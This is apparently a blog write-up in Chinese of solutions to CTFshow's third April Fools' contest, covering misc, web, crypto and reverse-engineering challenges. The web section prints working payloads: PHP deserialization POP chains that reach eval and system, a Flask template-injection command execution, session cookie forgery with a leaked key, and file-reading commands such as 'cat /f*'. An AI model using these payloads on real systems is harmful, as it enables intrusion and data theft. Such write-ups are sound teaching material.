CTFSHOW第三届愚人杯部分WP

  1. MISC
    1. 奇怪的压缩包
  2. WEB
    1. easy_signin
    2. 被遗忘的反序列化
    3. easy_ssti
    4. easy_flask
    5. easy_php
  3. CRYPTO
    1. easy_base
    2. 大牛的密码
  4. RE
    1. easy_pyc
    2. easy_cc

MISC

奇怪的压缩包

下载附件后是一个压缩包,解压发现有密码,用010editor打开看看是不是伪加密。全局搜索504B,将后面的09都改为00

image-20230402194629271

image-20230402194733371

修改后保存就可以直接解压缩了。

解压后是一个png图片,黑不溜秋啥也没有,老规矩010editor打开看看,发现文件最后一段内容

image-20230402195103120

很明显这是一个压缩包伪装成的图片文件,这个key看起来像base64,拿去解码一下:

image-20230402195253818

将图片后缀修改为rar,用刚拿到的密码解压缩后,又有一个png文件,010editor打开查看,全局搜索ctfshow

image-20230402200045673

找到flag

ctfshow{Th1s_i5_f1ag}

WEB

easy_signin

url后面长得像base64,解码一下:

http://cf3e433c-0d3b-4bea-8693-33e1c27de094.challenge.ctf.show/?img=ZmFjZS5wbmc=

image-20230402201934183

看来是把GET传入的imgbase64解码后读取,传入index.php的base64编码值读取

image-20230402202342033

base64解码一下拿到flag

image-20230402202421559

被遗忘的反序列化

拿到源码:

<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

先利用w_wuw_w中的__wakeup__destruct读一下check.php的内容,由于文件内容存在key中,我们只能读到aaa,利用指针方法读到key地址中内容

poc:

<?php
class w_wuw_w{
    public $aaa;
    public $key;
    public $file="check.php";
}
$a=new w_wuw_w();
$a->aaa=&$a->key;
echo serialize($a);
//O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:9:"check.php";}

hackbar传一下

image-20230402203339581

读取到check.php内容:

<?php

function cipher($str) {

    if(strlen($str)>10000){
        exit(-1);
    }

    $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
    $shift = 4;
    $shifted = "";

    for ($i = 0; $i < strlen($str); $i++) {
        $char = $str[$i];
        $pos = strpos($charset, $char);

        if ($pos !== false) {
            $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
            $shifted .= $charset[$new_pos];
        } else {
            $shifted .= $char;
        }
    }

    return $shifted;
}

根据代码写一个解密脚本:

<?php
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$str="p8vfuv8g8v8py";
$shifted="";
for ($i = 0; $i < strlen($str); $i++) {
    $char=$str[$i];
    $pos = strpos($charset, $char);
    if($pos>=31)
        $shifted.=$charset[$pos-31];
    else
        $shifted.=$charset[$pos+4];
}
echo $shifted;
//fe1ka1ele1efp

构造pop链:

w_wuw_w::__destruct()-->gBoBg::__toString()-->w_wuw_w::__invoke()-->EeE::clone()-->cycycycy::aaa()

payload

<?php

class w_wuw_w{
    public $aaa;
    public $key;
    public $file="check.php";

}
class gBoBg{
    public $name;
    public $file="admin";
    public $coos;
}
$a=new w_wuw_w();
$b=new gBoBg();
$c=new w_wuw_w();
$a->aaa=$b;
$b->coos=$c;
echo serialize($a);
//O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:5:"admin";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";N;s:4:"file";s:9:"check.php";}}s:3:"key";N;s:4:"file";s:9:"check.php";}

传参拿到flag

image-20230402204645329

easy_ssti

根据题目提示F12拿到源码:

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'

过滤的东西很弱,随便找个payload都能打

http://27b20150-e164-4014-8bd9-e0eb0c01e8c4.challenge.ctf.show/hello/ge{{lipsum.__globals__['os'].popen('cd ..;cat f*').read()}}

/不能用,这里用分号进行多次命令执行读取flag

image-20230402205333768

easy_flask

打开靶机一个登录界面,正常注册登陆上去就给了题目源码:


# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response


app = Flask(__name__)


app.secret_key = 'S3cr3tK3y'

users = {

}

@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)



@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))

........

根据题目提示要求我们用一个admin账户登录才能获得关键信息,secret_key已经给出,直接进行session伪造。在cookie中获取session值,用脚本进行解密

python flask_session_cookie_manager3.py decode -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6InR0eWN
wMyJ9.ZCl7Cw.DWToRLbEHP_dvE5IGLEsSka0bp4" -s "S3cr3tK3y"
解密后:
{'loggedin': True, 'role': 'user', 'username': 'ttycp3'}

role处修改为admin后重新加密:

 python flask_session_cookie_manager3.py encode -t "{'loggedin': True, 'role': 'admin', 'username': 'ttycp3'}" -s "
S3cr3tK3y"
加密后:
eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJ0dHljcDMifQ.ZCl-5A.xOTE8Yc2N1bjeHwl0rffvZezQ2A

修改session后多了一个fakeflag下载的地方:

image-20230402211252933

联想到可以任意文件下载,burpsuite抓包读取app.py

image-20230402211520701

发现hello路由下传入eval参数可以命令执行

http://ac3d7ab1-e4e0-44ef-9a8f-c3411458c90f.challenge.ctf.show/hello/?eval=__import__('os').system("ls")

image-20230402211759758

没有回显,可以写文件读取flag

http://9abf0a78-b014-4d42-b4af-91bfc3faef3a.challenge.ctf.show/hello/?eval=__import__('os').system("cat /f*>1.txt")

利用之前读文件的地方读

image-20230402220330667

easy_php

赛后复现版

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-24 10:16:33
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-25 00:25:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}


?>

正则对序列化后的内容进行了限制,根据题目环境的php版本绕过方式有所不同

php5环境下,只需要在正常生成的序列化字符串数字前添加一个+号即可绕过执行
方法:
echo serialize(new ctfshow())
payload: 
O:+7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}
php7环境下,需要序列化ArrObject类来绕过
方法:
echo serialize(new ArrayObject(new ctfshow()));
payload:
C:11:"ArrayObject":61:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";};m:a:0:{}}
php8环境下,以上两种方法都不能正常执行,期待能有师傅研究出来

题目环境是php7的,用php7的payload传参即可获得flag,注意对+号url编码

image-20230404150059517

CRYPTO

easy_base

4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35

一把梭

image-20230402220658803

ctfshow{yu_ren_j1e_haPpy!!!}

大牛的密码

不解释上脚本

from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from random import *
from Crypto.Util.Padding import unpad

S_BOX=[9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]
c=[99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]

def s_box(a):
    box=[i for i in range(a)]
    shuffle(box)
    return box
BLOCK=16

def swap(a,b):
    tmp = a
    a = b
    b = tmp
def encrypt1(m):
    enc=[m[i:i+BLOCK] for i in range(0,len(m),BLOCK)]
    for i in enc:
        for j in range(BLOCK):
            aa=j*7%BLOCK
            swap(i[j],i[aa])
def encrypt2(m):
    for i in range(16):
        m=[m[i] for i in S_BOX]
    return m

# Inverse of encrypt2
def decrypt2(m):
    for i in range(16):
        m=[m[S_BOX.index(i)] for i in range(len(m))]
    return m

# Inverse of encrypt1
def decrypt1(m):
    dec=[]
    for i in m:
        for j in range(BLOCK-1,-1,-1):
            aa=j*7%BLOCK
            swap(i[j],i[aa])
        dec+=i
    return dec

# Decrypt the ciphertext
ciphertext = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]
ciphertext_001 = decrypt2(ciphertext)
print(ciphertext_001)

# decrypt1(ciphertext_001)
plaintext = unpad(bytes(ciphertext_001), BLOCK)
print(plaintext)
ctfshow{y0u_c5n_make_y0u1_own_CryptO}

RE

easy_pyc

给了个pyc文件,用命令把他换成py文件

uncompyle6 -o ez_re.py ez_re.pyc 
print 'Welcome to CTFshow Re!'
print 'your flag is here!'
# flag = ''
# l = len(flag)
# for i in range(l):
#     num = ((flag[i] + i) % 114514 + 114514) % 114514
#     code += chr(num)
#
# code = map(ord, code)
# for i in range(l - 4 + 1):
#     code[i] = code[i] ^ code[i + 1]
#
# print code
code = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', b'\xff', b'\xd0', ',', '\x03',
 '\x02', '\x14', '8', 'm', '\x01', 'C', 'D', b'\xbd', b'\xf7', '*', '\r',
 b'\xda', b'\xf9', '\x1c', '&', '5', "'", b'\xda', b'\xd4', b'\xd1', '\x0b',
 b'\xc7', b'\xc7', '\x1a', b'\x90', 'D', b'\xa1']

写个脚本解一下:

def decrypt(code):
    code = list(map(ord, code))
    l = len(code)
    for i in range(l - 4, -1, -1):
        code[i] = code[i] ^ code[i + 1]
    for i in range(l):
        num = ((code[i] - i) % 114514 + 114514) % 114514
        code[i] = chr(num)
    return ''.join(code)

code = ['\x16', '\x1d', '\x1e', '\x1a', '\x18', '\t', b'\xff', b'\xd0', ',', '\x03',
 '\x02', '\x14', '8', 'm', '\x01', 'C', 'D', b'\xbd', b'\xf7', '*', '\r',
 b'\xda', b'\xf9', '\x1c', '&', '5', "'", b'\xda', b'\xd4', b'\xd1', '\x0b',
 b'\xc7', b'\xc7', '\x1a', b'\x90', 'D', b'\xa1']
flag = decrypt(code)
print(flag)
ctfshow{Just_F00l's_D@y_R3_Ch3ck-in!}

easy_cc

ida打开文件,根据伪代码写出解密脚本

hex_str = "08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216"
key = "key123"

# Convert hex string to bytes
bytes_str = bytes.fromhex(hex_str)

# Convert key to bytes
key_bytes = bytes(key, 'utf-8')

# XOR bytes with key
flag_bytes = bytes([b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(bytes_str)])

# Convert bytes to string
flag = flag_bytes.decode()

print(flag)
ctfshow{cc_re_good_good!}

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com